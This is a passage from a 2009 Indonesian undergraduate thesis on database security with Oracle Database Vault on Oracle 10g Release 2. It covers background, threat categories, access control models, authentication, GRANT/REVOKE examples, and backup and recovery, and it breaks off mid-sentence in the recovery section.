STUDI IMPLEMENTASI KEAMANAN BASIS DATA DENGAN DATABASE VAULT PADA ORACLE DATABASE 10G RELEASE 2 Laporan Tugas Akhir Diajukan Untuk Melengkapi Salah Satu Syarat Memperoleh Gelar Sarjana Komputer Oleh: RETNO MAROETI 4150411-061 PROGRAM STUDI TEKNIK INFORMATIKA FAKULTAS ILMU KOMPUTER UNIVERSITAS MERCU BUANA JAKARTA 2009 BAB I PENDAHULUAN 1.1 Latar Belakang Keamanan basis data adalah mekanisme yang melindungi basis data dari ancaman yang disengaja maupun tidak disengaja. Keamanan tidak hanya untuk data pada basis data saja, kegagalan keamanan juga berakibat pada bagian lain dari sistem yang pada akhirnya berakibat pada basis data. Sehingga keamanan basis data juga merupakan keamanan pada hardware, software, orang dan data. 1.2 Identifikasi Masalah Kebutuhan akan keamanan basis data bersifat dinamis, praktek dan teknologi baru terus-menerus menyediakan arena bagi exploitasi unauthorized, dan juga cara-cara baru penyalahgunaan untuk mempengaruhi bahkan juga terhadap lingkungan dan produk yang telah stabil. Evolusi yang terjadi saat ini melibatkan lingkungan kultural dan teknologi yang berubah secara global, dimana perhatian terhadap keamanan perlu mempengaruhi baik dari penggunaan solusi yang telah ada maupun pengembangan hal-hal baru. Jenis penyalahgunaan basis data baik yang tidak disengaja maupun disengaja: a. Tidak disengaja - Kerusakan selama proses transaksi. - Anomali yang disebabkan oleh akses database yang konkuren. 1 2 - Anomali yang disebabkan oleh pendistribusian data pada beberapa komputer. - Logika error yang mengancam kemampuan transaksi untuk mempertahankan konsistensi basis data. b. Disengaja - Pengambilan data / pembacaan data oleh pihak yang tidak berwenang - Perubahan data oleh pihak yang tidak berwenang. - Penghapusan data oleh pihak yang tidak berwenang. Berikut ini adalah pengelompokan isu-isu keamanan berdasarkan kategori, sebagai usaha untuk menciptakan operasi secure didalam lingkungan yang secure: - Fisik Komputer harus dibuat tak bisa diakses secara fisik dari pemakai yang tidak berwenang dengan menempatkannya di dalam lingkungan yang terjamin. - Personel Pihak yang bertanggungjawab bagi keamanan fisik, administrasi sistem, dan keamanan data harus terpercaya. - Prosedural Prosedur dan kebijakan yang dipergunakan dalam operasi pada sistem harus menjamin data yang reliable (terpercaya). Dengan memisahkan role-role fungsional dari pemakai di dalam manajemen data. Sebagai contoh, satu orang bertanggungjawab untuk backup database. Rolenya hanyalah memastikan database up dan jalan. Orang lain bertanggungjawab untuk pelaporan aplikasi menyangkut data daftar gaji 3 atau data penjualan. Kewajibannya memeriksa data dan memverifikasi integritasnya. Membuat kebijakan yang melindungi tabel dan schema terhadap pengguna unauthorized maupun malicious. - Teknikal Penyimpanan, akses, manipulasi, dan transmisi data harus betul-betul dijaga dengan teknologi yang menegakkan kebijakan kontrol informasi. Pencegahan gangguan keamanan dari luar pada basis data telah banyak diterapkan dimulai dari penggunaan firewall, aplikasi anti spam e-mail, anti spyware, anti virus dan masih banyak lagi. Namun bagaimana dengan ancaman dari pihak dalam pada basis data, kemungkinan adanya karyawan yang tak setia atau korup. Salah satu cara untuk mengantisipasi gangguan seperti tersebut diatas dapat menggunakan oracle database 10g release 2 yang yang menyediakan semua fasilitas untuk pengamanan data antara lain : - Virtual Private Database Row level security Membuat akses berdasarkan fungi kerja dengan, klasifikasi hari atau jam penggunaan basis data, mendukung customizable, policy-based akses control down ke level baris untuk menjalankan keamanan dan privasi data. Kebijakan dirancang programmatically ditambahkan ke database object (table, view), sehingga kebijakan dapat dijalankan tanpa memperhatikan metode akses. Hal ini mengurangi masalah keamanan aplikasi serta menyediakan penggabungan basis data serta melindungi pemisahan dari individual set - PL/SQL Encryption Package 4 Memberi kemudahan dalam penggunaan dan mendukung algoritmaalgoritma pada sistem - Fine Grained Auditing Dapat memperkecil kesalahan dalam audit atau audit yang yang sulit dengan menspesifikasi kondisi audit yang diinginkan Dan untuk lebih meningkatkan pengamanan dari basis data yang telah ada, terdapat database vault yang merupakan mekanisme tambahan dari oracle database 10g. Pengamanan untuk memproteksi aplikasi data dari akses DBA, proteksi struktur database dari perubahan secara ilegal, akses kontrol secara dinamis dan fleksibel sesuai dengan permintaan pengamanan. Apakah dengan integrasi antara oracle database 10g dengan database vault dapat dapat mendeteksi semua aktivitas pada basis data, memproteksi basis data dari user yang tidak berhak dan memberikan laporan untuk proses audit perlu analisa yang lebih mendalam. 1.3 Tujuan Penulisan Tujuan dari pembuatan tugas akhir ini adalah: Menganalisa kinerja dan mengkonfigurasi penggabungan keamanan oracle database 10g itu sendiri dengan database vault dalam mekanisme keamanan basis data. Apakah dengan integrasi antara oracle database 10g dengan database vault dapat mendeteksi semua aktivitas pada basis data, memproteksi basis data dari user yang tidak berhak dan memberikan laporan untuk proses audit. 5 1.4 Pembatasan Masalah Masalah yang akan dibatasi dalam penyusunan tugas akhir ini adalah analisa dan implementasi keamanan basis data dengan database vault pada oracle database 10g dengan menggunakan sistem operasi Red Hat Entreprise Linux 4 Laporan Tugas Akhir hanya menekankan pada hal-hal berikut: 1. Analisa keamanan basis data yang dimiliki oleh oracle database 10g dan database vault dapat mendeteksi semua aktivitas pada basis data, memproteksi basis data dari user yang tidak berhak dan memberikan laporan untuk proses audit. 1.5 2. Konfigurasi database vault. 3. Pengujian dan implementasi database vault. 4. Basis data yang digunakan adalah oracle database 10g release 2. 5. Tidak membahas physical security database. Metodologi Penelitian 1.5.1 Metodologi Pengumpulan Data Cara pengumpulan data sebagai materi penyusunan Tugas Akhir ini adalah sebagai berikut: Metode Studi Literatur Metode Studi Literatur adalah cara pengumpulan data dengan menggunakan semua referensi yang berkaitan dengan pembuatan tugas akhir untuk memperoleh data-data yang dikehendaki, 6 sehingga dapat dijadikan acuan dalam penulisan laporan tugas akhir ini. 1.5.2 Analisa Menganalisa keamanan basis data pada oracle database 10g dan database vault dengan membuat skenario-skenario masalah yang dapat mengganggu keamanan basis data. 1.5.3 Konfigurasi Konfigurasi database vault pada oracle database 10g dan cara upgrade/patch dari oracle database 10g enterprise edition release 10.2.0.1.0 menjadi 10.2.0.4.0 karena database vault hanya bisa berjalan pada platform tersebut atau lebih tinggi. 1.5.4 Implementasi dan Pengujian Membuat pengujian dan implementasi dari database vault yang telah dikonfigurasi sebelumnya dengan menggunakan skenarioskenario masalah yang telah dibuat sebagai bahan untuk menguji. 7 1.6 Sistematika Penulisan Untuk mempermudah penyusunan dan menganalisa Tugas Akhir, maka digunakan sistematika laporan sebagai berikut : BAB I PENDAHULUAN Bab ini menjelaskan tentang latar belakang masalah, dasar pemilihan judul, tujuan dan kegunaan Tugas Akhir, pembatasan masalah, metodologi penelitian dan sistematika penulisan. BAB II LANDASAN TEORI Bab ini membahas tentang teori yang menjadi dasar pembahasan, antara lain: pengertian data, informasi, basis data, struktur oracle database 10g, keamanan oracle database 10g, database vault. BAB III ANALISA KEBUTUHAN DAN KONFIGURASI DATABASE VAULT Bab ini mejelaskan tentang analisa kebutuhan dan konfigurasi dari database vault dan oracle database 10g BAB IV IMPLEMENTASI DAN PENGUJIAN Bab ini menjelaskan tentang implementasi dan pengujian dari hasil analisa dan konfigurasi yang ada. BAB V PENUTUP Bab ini merupakan bagian terakhir dalam penulisan Tugas Akhir yang berisi kesimpulan dan saran yang didasarkan atas uraian pada bab-bab sebelumnya BAB II LANDASAN TEORI 2.1 Pengertian Data Pada umumnya para pakar mendefinisikan data sesuai dengan bidang ilmunya masing-masing sehingga: - Data adalah deskripsi dari benda-benda dan kejadian - kejadian yang selalu kita hadapi sehari-hari. - Data dalah sekumpulan deskripsi dari benda-benda (resources) dan kejadian-kejadian (transaksi-transaksi) yang selalu berinteraksi. - Data adalah kumpulan dari fakta-fakta berupa simbol, lambang, huruf, gambar. 2.2 Pengertian Informasi Menurut para ahli, pengertian informasi adalah sebagai berikut : a. Jogiyanto HM (2001,h8) : Informasi adalah data yang diolah menjadi bentuk yang lebih berguna dan lebih berarti bagi yang menerimanya. b. Gordon B. Davis (1993,P6) : Informasi adalah suatu data yang telah diolah menjadi bentuk yang berarti bagi si penerima dan bermanfaat dalam pengambilan keputusan saat ini atau akan datang. 8 9 Sumber dari informasi adalah data, yang merupakan keyataan yang menggambarkan suatu kejadian dan kesatuan nyata. Data merupakan bentuk yang masih mentah (raw) yang masih belum mampu bercerita banyak, sehingga untuk menjadi informasi data harus diolah terlebih dahulu. Kualitas dari suatu informasi tergantung pada tiga hal pokok, yaitu : a. Keakuratan Informasi yang dihasilkan harus tepat, jelas dan mencerminkan permasalahan yang dihadapi (tidak menyesatkan). b. Ketepatan Informasi yang diterima tidak terlambat. Keterlambatan informasi dapat mengakibatkan nilai dari informasi tersebut akan berkurang. c. Relevansi Informasi yang dihasilkan harus bermanfaat dan sesuai dengan apa yang dibutuhkan oleh pemakai. Dari pendapat-pendapat yang telah dikemukakan diatas, penulis dapat menarik sebuah kesimpulan bahwa yang dimaksud dengan informasi itu sendiri adalah “Kumpulan data yang harus diolah terlebih dahulu sehingga bermanfaat bagi pemakainya dalam mencapai suatu tujuan atau hasil tertentu.” 2.3 Pengertian Database Dalam beberapa literature basis data telah didefiniskan dengan cara yang berbeda-beda,salah satunya yang cukup lengkap adalah diberikan oleh James 10 Martin (1975) yaitu : “ A database may be defined as a collection of interrelated data stored together without harmful or unnecessary redundancy to serve one more application in an optimal fashion; the data are stored so that they are independent of program with use the data; common and controlled approach its use in adding new data and in modifying and retrieving existing data within the database” Sekumpulan data yang terhubung yang disimpan secara bersama-sama dalam suatu media, tanpa kerangkapan data (kalaupun ada kerangkapan data tersebut seminimal mungkin dan terkontrol, data disimpan dengan cara-cara tertentu, sehingga mudah untuk digunakan, atau ditampilkan kembali dan dapat digunakan lebih dari program aplikasi secara optimal, data disimpan tanpa mengalami ketergantungan yang menggunakan sehingga proses penambahan, pengambilan dan modifikasi dapat dilakukan dengan mudah serta terkontrol. Karakteristik utama basis data adalah: a. Merepresentasikan aspek dari dunia nyata, b. Terstruktur dengan baik, c. Dapat merepresentasikan kondisi saat ini (current state) d. Ada penggunanya dan ada aplikasi, e. Disimpan dalam memori komputer secara permanen, dan f. Dapat diakses dan dimanipulasi menggunakan DBMS 11 2.3.1 Database Manajemen Sistem (DBMS) DBMS adalah koleksi terpadu dari basis data dan programprogram komputer (utilitas) yang digunakan untuk mengakses dan memelihara basis data. Pengelolaan manajemen basis data antara lain: - Pendefinisian struktur penyimpanan. - Penyedian mekanisme untuk manipulasi informasi. - Penyediaan keamanan dalam penarikan dan penyimpanan data dan informasi. Bahasa dalam DBMS : - Data Definition Language (DDL) DDL berfungsi untuk mendefinisikan data seperti membuat tabel, membuat index tabel dan modifikasi tabel. Hasil perintah dari DDL adalah suatu set dari tabel-tabel yang disimpan dalam file khusus yang di sebut data dictionary. Perintah-perintah yang termasuk dalam kategori ini adalah CREATE, ALTER, DROP, RENAME dan TRUNCATE. - Data Manipulation Language (DML) DML merupakan bahasa DBMS yang berfungsi untuk memanipulasikan dan mengambil data dari dan ke suatu database manajemen sistem. Perintah-perintah yang termasuk dalam kategori ini adalah INSERT, UPDATE dan DELETE. 12 Dalam DML ada dua tipe yaitu : a. Prosedural: Type ini menuntut pemakai untuk memsepesifikasi data apa yang akan digunakan dan bagaimana mendapatkan data tersebut. b. Non Prosedural: Type ini memsepesifiasikan data apa menuntut yang pemakai untuk dibutuhkan tanpa menspesifikasikan bagaimana mendapatkan. - Data Control Language (DCL) DCL berfungsi untuk melakukan keamanan database. Perintahperintah yang termasuk dalam kategori ini adalah GRANT dan REVOKE. 2.3.2 Kegunaan Basis Data a. Penyusunan suatu database digunakan untuk mengatasi jika file dalam program aplikasi diciptakan oleh programmer yang berbeda pada waktu yang berselang cukup panjang, maka ada beberapa bagian data mengalami penggandaan pada file-file yang berbeda. b. Kesulitan dalam pengaksesan data Kesulitan yang timbul dalam pengaksesan data, penyelesaian untuk itu adalah kearah DBMS yang mampu mengambil data secara langsung dengan bahasa yang familiar dan mudah digunakan (user friendly). c. Isolasi data untuk Standarisasi 13 Jika data tersebar dalam beberapa file dalam bentuk format yang tidak sama, maka ini menyulitkan dalam menulis program aplikasi untuk mengambil dan menyimpan data. Maka haruslah data dalam suatu database dibuat satu format sehingga mudah dibuat program aplikasinya. d. Banyak Pemakai (multiple user) Dalam rangka mempercepat semua daya guna sistem dan mendapat responsi waktu yang cepat, beberapa sistem mengijinkan banyak pemakai untuk mengupdate data secara simultan, salah satu alasan mengapa database dibangun karena nantinya data tersebut digunakan oleh banyak orang dalam waktu yang berbeda, diakses oleh program yang sama tetapi berbeda orang dan waktu. Semua ini memungkinkan terjadi karena data yang diolah tidaklah tergantung dan menyatu dalam program tetapi ia terlepas dalam satu kelompok data. e. Masalah Keamanan Tidak setiap pemakai sistem basis data memperoleh akses semua data. Keamanan ini dapat diatur lewat program yang dibuat oleh pemprogram atau fasilitas keamanan dari sistem operasi. f. Masalah Kesatuan (Integrity) Basis data berisi file-file yang saling berkaitan, masalah utama adalah bagaimana kaitan antara file tersebut terjadi. Meskipun 14 kita mengetahui bahwa file A berkaitan dengan file B, namun secara teknis maka ada file kunci yang mengaitkan kedua file tersebut. g. Masalah Kebebasan Data (Data Independence) Paket bahasa yang diciptakan dari DBMS, apapun yang terjadi pada struktur file, setiap kali kita hendak melihat data cukup dengan utility list, hendak menambah data cukuplah dengan APPEND. Ini berarti perintah-perintah dalam paket DBMS bebas terhadap basis data. Apapun perubahan dalam basis data, semua perintah akan mengalami kestabilan tanpa perlu ada yang dirubah. h. Kecepatan dan kemudahan (speed) Agar pengguna basis data dapat menyimpan data, melakukan perubahan/manipulasi terhadap data, menampilkan kembali data dengan lebih cepat dan mudah dibandingkan dengan cara biasa baik manual ataupun elektronik. i. Efisiensi ruang penyimpanan Mampu melakukan penekanan jumlah redundansi (pengulangan) data, baik dengan menerapkan sejumlah pengkodean atau dengan membuat relasi-relasi (dalam bentuk file) antara kelompok data yang saling berhubungan j. Keakuratan (accuracy) Agar data sesuai dengan aturan dan batasan tertentu dengan cara memanfaatkan pengkodean atau pembentukan relasi antar 15 data bersama dengan penerapan aturan/batasan (constraint) tipe data, domain data, keunikan data dsb k. Ketersediaan (availability) Data yang sudah tidak dipakai/kadaluwarsa dipisahkan dari sistem database yang sedang aktif baik dengan cara penghapusan atau memindahkannya ke media backup untuk menghemat ruang penyimpanan. Di sisi lain, juga dilakukan pemanfaatan teknologi jaringan komputer agar data yang berada di suatu lokasi/cabang daat juga diakses oleh lokasi/cabang lainnya. l. Kelengkapan (completeness) Agar data yang dikelola senantiasa lengkap baik relatif terhadap kebutuhan pemakai maupun terhadap waktu. Untuk itu tidak hanya dengan melakukan penambahan record-record data, tapi juga melakukan perubahan struktur pada basis data (jika perlu) baik menambah field pada tabel ataupun bahkan menambah tabel baru. 2.4 Keamanan Basis Data 2.4.1. Pengertian Keamanan Basis Data Proteksi basis data terhadap ancaman/gangguan baik yang disengaja maupun yang tidak disengaja melalui kendali yang bersifat teknis maupun administrasi. 16 Menurut Silberschatz (2002, p239) ukuran keamanan yang dapat diambil untuk melindungi basis data antara lain dari segi: - Sistem Basis Data Ada beberapa pengguna berwenang yang dizinkan untuk mengakses bagian basis data tertentu dan ada para pengguna yang lain hanya diizinkan untuk membaca data yang diinginkannya, tetapi tidak punya hak untuk mengubahnya. Kewajiban dari sistem basis data ini adalah menjaga batasan seperti di atas tetap terjaga - Sistem Operasi Tidak peduli betapa aman sistem basis datanya, apabila terjadi kelemahan dalam sistem operasi. Hal ini sama artinya dengan adanya akses yang tidak diinginkan dalam basis data. Jadi tingkat keamanan perangkat lunak dalam sistem operasi sangatlah penting seperti halnya keamanan yang dilakukan secara fisik. - Jaringan Seluruh sistem basis data memperbolehkan untuk mengakses lewat terminal atau jaringan, keamanan software-level dalam software jaringan sangat penting sebagai keamanan fisik, keduanya dibutuhkan dalam internet dan jaringan pribadi. - Fisik Situs yang mengandung sistem komputer harus secara fisik aman dari entri secara diam-diam dan bahaya oleh para penyelundup. 17 - Manusia Autorisasi pada pengguna harus dilakukan secara hati-hati untuk mengurangi adanya kejadian dimana pengguna yang berwenang memberikan akses kepada orang lain dengan imbalan suap atau lainnya. Secara garis besar keamanan sistem informasi dan komputer dapat dibagi dua yaitu keamanan secara fisikal dan secara logikal. - Fisikal Secara fisik berarti bagaimana mengamankan semua infrastruktur peralatan sistem keamanan baik dari sisi server, ruangan, kabel, system backup redundant system, system cadangan power listrik dan lain-lain. - Logikal Keamanan secara logikal tentang metode keamanan seperti protocol yang digunakan, metode komunikasi datanya, model basis datanya dan sistem operasinya. Aspek keamanan seringkali ditinjau dari: - Confidentiality - Integrity - Availability - Non-Repudiation Merupakan aspek yang sangat penting dalam transaksi elektronik. Aspek non-repudiation menjamin bahwa pelaku transaksi tidak dapat mengelak atau menyangkal telah melakukan transaksi 18 - Standar pengamanan - Evaluasi secara berkala Keamanan basis data berkaitan dengan situasi sebagai berikut: - Pencurian (theft dan fraud.) - Kehilangan kerahasiaan (loss of confidentiality dan privacy). Kerahasiaan dapat diartikan sebagai perlindungan terhadap data dalam sistem informasi perusahaan, sehinggga tidak dapat diakses oleh orang yang tidak berhak. Banyak yang beranggapan bahwa tipe perlindungan seperti ini hanya penting untuk kalangan militer dan pemerintahan, dimana mereka perlu merahasiakan rencana dan data penting. Akan tetapi kerahasian juga sangat penting bagi kalangan bisnis yang perlu melindungi rahasia dagang mereka dari kompetitor, atau untuk mencegah akses terhadap data-data yang dianggap sensitive oleh orang-orang yang tidak berhak didalam perusahaan. - Kehilangan integritas (loss of integrity) Integritas adalah perlindungan terhadap dalam sistem dari perubahan yang tidak terotorisasi, baik secara sengaja maupun secara tidak sengaja.Tantangan yang dihadapi setiap sistem keamanan informasi adalah untuk memastikan bahwa data terpelihara dalam keadaan yang sesuai dengan harapan dari user. Walau tidak dapat meningkatkan akurasi dari data yang dimasukan kedalam sistem oleh user, inisiatif keamanan informasi 19 memastikan bahwa setiap perubahan memang benar-benar dikehendaki dan dilakukan secara benar. - Kehilangan ketersediaan (loss of availability). Ketersediaan ini dapat diartikan sebagai kepastian bahwa sebuah sistem informasidapat diakses oleh user yang berhak kapan saja sistem informasi tersebut dibutuhkan. Pengertian ancaman (threat), kerentanan (vulnerability), resiko (risk) dan akibat (exposure) pada keamanan basis data. - Ancaman (threat ) Situasi, potensi atau kejadian baik di sengaja maupun tidak, yang dapat mempengaruhi sistem dan organisasi. Tabel 2.1 Ancaman terhadap security database Ancaman Menggunakan akses orang lain Alterasi Program Kebijaksanaan dan prosedur yang tidak memadai yang mengijinkan tercampurnya output yang biasa dan rahasia Wire Taping Entri ilegal oleh hacker Pemerasan (blackmail ) Membuat pintu jebakan pada sistem Pencurian data, program dan peralatan Kegagalan mekanisme keamanan, memberikan akses melebihi normal Theft and Fraud Loss of Confidentiality Loss of Privacy Loss of Integrity Loss of Availability 20 Tabel 2.1 Ancaman terhadap security database (lanjutan) Ancaman Theft and Fraud Pengurangan pegawai (phk) atau mogok kerja Pelatihan staff yang kurang memadai View dan disclosed data rahasia Gangguan elektronik dan radiasi Data rusak karena listrik padam Kebakaran Kerusakan fisik pada peralatan Kabel rusak atau putus Virus Loss of Confidentiality Loss of Privacy Loss of Integrity Loss of Availability Berikut ini adalah pengelompokan ancaman pada sistem komputer berdasarkan kategori: 1. Perangkat keras: kebakaran, banjir, bom, pencurian, listrik, gempa, radiasi, kesalahan mekanisme keamanan. 2. Jaringan komunikasi: kabel yang tidak terkoneksi, radiasi. 3. Database: aturan/amandemen yang tidak diotorisasi, penduplikatan data, pencurian data, kehilangan data akibat gangguan listrik 4. DBMS dan Program Aplikasi: kesalahan mekanisme keamanan, akses yang terlalu luas, pencurian program, kesalahan program. 5. Pengguna akhir (end user): menggunakan hak akses orang lain, melihat dan menutup data yang tidak diotorisasi, staf tidak ditraining, pemasukan data yang dilakukan oleh yang tidak berhak, virus, pemerasan. 21 6. Programer/operator: membuat password, membuat program yang tidak aman, staf yang tidak ditraining, kebijakan keamanan dan prosedur, pemogokan staf. 7. Database administrator : kebijakan keamanan & prosedur - Kerentanan (vulnerability) Software, hardware atau prosedur yang lemah sebagai pintu bagi para penyerang. Hal yang rentan dapat berupa servis pada server yang sedan berjalan, modem dial-in akses yang tidak dibatasi, terbukanya port pada firewall, kurangnya keamanan fisik sehingga semua orang dapat masuk ruang server, kurang kuatnya manajemen password pada server dan workstation. - Resiko (risk) Kemungkinan kehilangan, ancaman yang mengeksploitasi hal yang rentan, seperti firewall yang memiliki banyak port memiliki resiko yang lebih tinggi untuk diserang pengganggu. - Kerugian (exposure ) Contoh dari sesuatu yang hilang karena ancaman, seperti manajemen dan prosedur dari akses pengguna yang kurang sehingga dapat digunakan oleh pihak lain yang menyebabkan organisasi mengalami kerugian. 22 Berikut ini adalah hubungan antar komponen keamanan membuat Threats Agents mengeksploitasi Ancaman (threats) menjadi Kerentanan (vulnerability) Resiko (risk) secara langsung berakibat pada Aset dapat merusak Kerugian (exposure) Tindakan pertahanan (safe guard) menyebabkan dapat diantisipasi oleh Gambar 2.1 Hubungan komponen keamanan [Referensi:CISSP Certification Guide,2007] 2.4.2. Pengendalian Keamanan Pengendalian keamanan berbasis komputer yang telah banyak digunakan antara lain: - Autorisasi (authorization) Pemberian hak yang memungkinkan seseorang secara sah mengakses sistem atau objek (tabel, view, aplikasi, prosedur, objek lain dalam sistem). Kendali autorisasi (kontrol akses) dapat dibangun pada perangkat lunak dengan 2 fungsi: 1. Mengendalikan sistem atau obyek yang dapat diakses. 2. Mengendalikan bagaimana pengguna menggunakannya. 23 Teknik kontrol akses yang sering digunakan: Mandatory access control Memberikan sebuah label keamanan terhadap semua subyek dan obyek yang ada dalam sebuah sistem Tabel 2.2 Klasifikasi data komersial Clasification Description Public Data tidak di lindungi dimanapun Informasi bisa berpengaruh terhadap bisnis dan Sensitive kepercayaan public jika tidak dilindungi dengan baik Informasi personal yang bisa berakibat negatif Private terhadap seseorang jika bocor Informasi perusahaan yang bisa berakibat negatif Confidential terhadap organisasi jika bocor Directional access control Mempergunakan identitas dari subyek untuk menentukan apakah permintaan akses tersebut akan dipenuhi atau di tolak. Metode ini lebih mudah di implementasikan dan lebih fleksibel. Setiap obyek memiliki permissions, yang menentukan user atau group yang bisa melakukan akses terhadap obyek. Non-discretionary access control Tipe kontrol akses ini cocok dipakai pada kasus high turnover atau reassginments. Ketika security di asosiasikan kedalam sebuah role atau task, mengganti orang yang mengerjakan tugas membuat security administration lebih mudah. 24 Penentuan administrasi kontrol akses: Centralized access control Memerlukan sebuah pusat keamanan yang bisa menentukan apakah sebuah permintaan akan disetujui atau ditolak. Pendekatan ini sangat mudah karena obyek hanya di pelihara pada lokasi yang tunggal. Salah satu kelemahannya adalah central access control bisa menjadi sebuah single point of failure. Jika central access control rusak, maka semua obyek tidak akan bisa diakses. Dampak negatif yang lainnya adalah dalam masalah perfomance, jika sistem tidak bisa memenuhi semua permintaan dari user Decentralized access control Meletakan tanggung jawab dari lebih dekat terhadap obyek. Pendekatan ini memerlukan lebih banyak administrasi daripada centralized access control karena sebuah obyek mungkin saja memerlukan kondisi yang sangat aman pada lokasi tertentu. Tapi hal ini bisa lebih stabil karena tidak ada Single Point Of Failure. Decentralized Access Control biasanya diimplementasikan memakai security domain. Security domain adalah bagian sebuah kepercayaan, atau koleksi dari obyek dan subyek, yang mendefinisikan access rule dan permisions. Subyek harus termasuk dalam domain tersebut. Pendekatan ini bisa memudahkan untuk mengeluarkan subyek yang dicurigai, tetapi bisa membuat 25 administrasi secara umum lebih sulit karena berbagai macam variasi dari peraturan keamanan. Model-model akses control Menyediakan view konseptual dari kebijakan keamanan. Hal ini akan mengijinkan kita untuk melakukan pemetaan antara tujuan dan petunjuk dari kebijakan keamanan anda terhadap event yang spesifik. Proses dari pemetaan ini memungkinkan terbentuknya definisi formal dan spesifikasi yang diperlukan dalam melakukan kontrol terhadap keamanan. Singkatnya, access control model memungkinkan kompleks untuk menjadi memilah kebijakan keamanan langkah–langkah keamanan yang yang lebih sederhana dan terkontrol State Machine Model Kumpulan dari defined instances, yang disebut state, dan sebuah transisi yang spesifik yang diijinkan untuk melakukan modifikasi terhadap obyek dari satu state ke state berikutnya. State machine sering dipakai untuk real-life entities ketika state yang spesifik dan transisinya ada dan dimengerti. Ketika sebuah subyek meminta untuk membaca sebuah obyek, harus ada sebuah transisi yang mengijinkan untuk merubah sebuah obyek yang closed menjadi open obyek. Model Bell-LaPadula 26 Model state machine yang membuat daftar kontrol akses dan label keamanan untuk mengimplementasikan keamanan objek. Model Biba Dibangun berbasis model state machine dan mendefinisikan state dan transisi yang berfokus pada integritas data, bukan kerahasiaan. Fokus utamanya adalah untuk menjamin bahwa subyek yang tidak memiliki otoritas tidak dapat melakukan perubahan terhadap obyek. Model Clark-Wilson Tidak berbasis pada model state machine. Model ini menggunakan pendekatan yang berbeda untuk menjamin integritas data. Model Clark-Wilson tidak melakukan pemberian akses suatu subjek terhadap obyek, melainkan memblok semua akses terhadap sejumlah kecil program akses yang dikontrol secara ketat. Pendekatan ini berhasil dalam aplikasi komersial dimana integritas data seringkali lebih penting daripada kerahasiaan data secara keseluruhan. Model Noninterference Menjamin bahwa perubahan pada sustu tingkat keamanan tidak mengorbankan level keamanan lainnya dan mempengaruhi suatu objek dalam konteks yang lain. Dasar pemikiran dari model noninterference adalah bahwa setiap tingkatan keamanan memiliki perbedaan dan perubahan tidak 27 akan berpengaruh terhadap tingkatan lain. Jaminan ini mempersempit cakupan suatu perubahan dan mengurangi kemungkinan bahwa suatu perubahan memiliki efek samping yang tidak disengaja. Dengan menutup kemungkinan modifikasi terhadap tingkatan keamanan tertentu, model ini dapat memlihara integritas dan kerahasasiaan data. Autentifikasi Mekanisme yang menentukan siapakah seseorang tersebut. Masing-masing pengguna telah diberikan identifikasi unik yang digunakan sistem operasi untuk menentukan siapakah pengguna tersebut. Tabel 2.3 Tipe-tipe autentifikasi Authentification Type Description Type 1 What you know Type 2 What you have Examples Password, passphrase, PIN, lock combination Smart card, token device Biometrics – fingerprint, palm Type 3 What you are print, retina/iris pattern, voice pattern - Tabel views Merupakan metode pembatasan bagi pengguna untuk mendapatkan model database yang sesuai dengan kebutuhan perorangan. Metode ini dapat menyembunyikan data yang tidak digunakan atau tidak perlu dilihat oleh pengguna. 28 Contoh pada database relasional, untuk pengamanan dilakukan beberapa level: Relasi, pengguna diperbolehkan atau tidak diperbolehkan mengakses langsung suatu relasi. View, pengguna diperbolehkan atau tidak diperbolehkan mengakses data yang terdapat pada view. Read Authorization, pengguna diperbolehkan membaca data, tetapi tidak dapat memodifikasi. Insert Authorization, pengguna diperbolehkan menambah data baru, tetapi tidak dapat memodifikasi data yang sudah ada. Update Authorization, pengguna diperbolehkan memodifikasi data, tetapi tidak dapat menghapus data. Delete Authorization, pengguna diperbolehkan menghapus data. Untuk Modifikasi data terdapat autorisasi tambahan: Index Authorization, pengguna diperbolehkan membuat dan menghapus index data. Resource Authorization, pengguna diperbolehkan membuat relasi-relasi baru. Alteration Authorization, pengguna diperbolehkan menambah atau menghapus atribut suatu relasi. Drop Authorization, pengguna diperbolehkan menghapus relasi yang sudah ada. 29 Contoh perintah menggunakan SQL : GRANT : memberikan wewenang kepada pemakai Syntax : GRANT <priviledge list> ON <nama relasi/view> TO <pemakai> Contoh : GRANT SELECT ON S TO BUDI GRANT SELECT, UPDATE (STATUS,KOTA) ON S TO ALI,BUDI REVOKE : mencabut wewenang yang dimiliki oleh pemakai Syntax: REVOKE <priviledge list> ON <nama relasi/view> FROM <pemakai> Contoh: REVOKE SELECT ON S TO BUDI REVOKE SELECT, UPDATE (STATUS,KOTA) ON S TO ALI,BUDI Priviledge list: READ, INSERT, DROP, DELETE, ALTERATION, RESOURCE - Backup data dan recovery Backup: proses secara periodik untuk mebuat duplikat dari database dan melakukan logging file (atau program) ke media penyimpanan eksternal. Jurnaling: proses menyimpan dan mengatur log file dari semua perubahan yang dibuat di database untuk proses recovery yang efektif jika terjadi kesalahan. 30 Isi Jurnal: 1. Record transaksi - Identifikasi dari record. - Tipe record jurnal (transaksi start, insert, update, delete, abort, commit) - Item data sebelum perubahan (operasi update dan delete) - Item data setelah perubahan (operasi insert dan update) - Informasi manajemen jurnal (misal : pointer sebelum dan record jurnal selanjutnya untuk semua transaksi 2. Record checkpoint: suatu informasi pada jurnal untuk memulihkan database dari kegagalan, kalau sekedar undo (seperti fungsi yang dimiliki pada ms.excel) akan sulit jurnal untuk mencarinya kembali, maka untuk membatasi pencarian menggunakan teknik ini. Pemulihan (recovery): merupakan upaya uantuk mengembalikan basis data ke keadaaan yang dianggap benar setelah terjadinya suatu kegagalan. Jenis Pemulihan: - Pemulihan terhadap kegagalan transaksi: kesatuan prosedur alam program yang dapat mengubah / memperbarui data pada sejumlah tabel. - Pemulihan terhadap kegagalan media: pemulihan karena kegagalan media dengan cara mengambil atau memuat kembali salinan basis data (backup). 31 - Pemulihan terhadap kegagalan sistem: karena gangguan sistem, hang, listrik terputus alirannya. Fasilitas pemulihan pada DBMS : - Mekanisme backup secara periodik - Fasilitas logging dengan membuat track pada tempatnya saat transaksi berlangsung dan pada saat database berubah. - Fasilitas checkpoint, melakukan update database yang terbaru. - Manager pemulihan, memperbolehkan sistem untuk menyimpan ulang database menjadi lebih konsisten setelah terjadinya kesalahan. Teknik Pemulihan : - Defered upate / perubahan yang ditunda: perubahan pada DB tidak akan berlangsung sampai transaksi ada pada poin disetujui (COMMIT). Jika terjadi kegagalan maka tidak akan terjadi perubahan, tetapi diperlukan operasi redo (terdapat pada redo log file) untuk mencegah akibat dari kegagalan tersebut. - Immediate Upadate / perubahan langsung: perubahan pada DB akan segera tanpa harus menunggu sebuah transaksi tersebut disetujui. Jika terjadi kegagalan diperlukan operasi UNDO untuk melihat apakah ada transaksi yang telah disetujui sebelum 